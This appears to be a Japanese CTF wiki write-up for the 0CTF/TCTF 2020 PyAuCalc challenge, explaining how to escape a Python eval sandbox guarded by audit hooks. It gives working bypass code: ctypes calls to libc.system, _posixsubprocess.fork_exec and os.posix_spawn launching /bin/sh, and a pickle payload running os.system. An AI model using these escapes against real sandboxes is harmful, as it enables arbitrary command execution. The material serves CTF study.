pyjail wiki

0CTF/TCTF 2020 - PyAuCalc

Challenge

Python 3.8 の audit hook で保護された環境。

import sys
def audit_hook(event, args):
blocked = ['exec', 'compile', 'os', 'subprocess', 'open']
if any(b in event for b in blocked):
raise RuntimeError(f"Blocked: {event}")
sys.addaudithook(audit_hook)
expr = input(">>> ")
print(eval(expr))

Solution

ctypes による audit hook バイパス

ctypes で Python インタープリタの内部構造にアクセスし、audit hook を無効化:

import ctypes
# Python の内部構造にアクセス
# audit_hook_head を NULL にする

libc 直接呼び出し

import ctypes
# libc をロード
libc = ctypes.CDLL(None)
# system() を直接呼び出し (audit hook をバイパス)
libc.system(b'cat /flag')

_posixsubprocess の利用

import _posixsubprocess
import os
_posixsubprocess.fork_exec(
[b'/bin/sh', b'-c', b'cat /flag'],
[b'/bin/sh'],
True, (), '', {},
-1, -1, -1, -1, -1,
False, False, -1, -1, -1, -1, None
)

Technical Details

audit hook の内部構造

Python/sysmodule.c
typedef struct _Py_AuditHookEntry {
struct _Py_AuditHookEntry *next;
Py_AuditHookFunction hookCFunction;
void *userData;
} _Py_AuditHookEntry;

ctypes による操作

import ctypes
# Python オブジェクトのメモリアドレスを取得
id(obj)
# アドレスからオブジェクトを復元
ctypes.cast(address, ctypes.py_object).value
# メモリを直接操作
ctypes.memmove(dst, src, count)

audit イベント (Python 3.8)

イベント説明
importモジュールインポート
execexec() 呼び出し
compileコードコンパイル
openファイルオープン
os.systemシェルコマンド実行

Alternative Solutions

別解1: 監視されていない関数

# pickle は監視されていない可能性
import pickle
pickle.loads(b"cos\nsystem\n(S'id'\ntR.")

別解2: subprocess 以外のプロセス実行

import os
os.posix_spawn('/bin/sh', ['sh', '-c', 'id'], {})

Flag

flag{...}

References

  • 0CTF/TCTF 2020 Official
  • PEP 578 (Python Runtime Audit Hooks)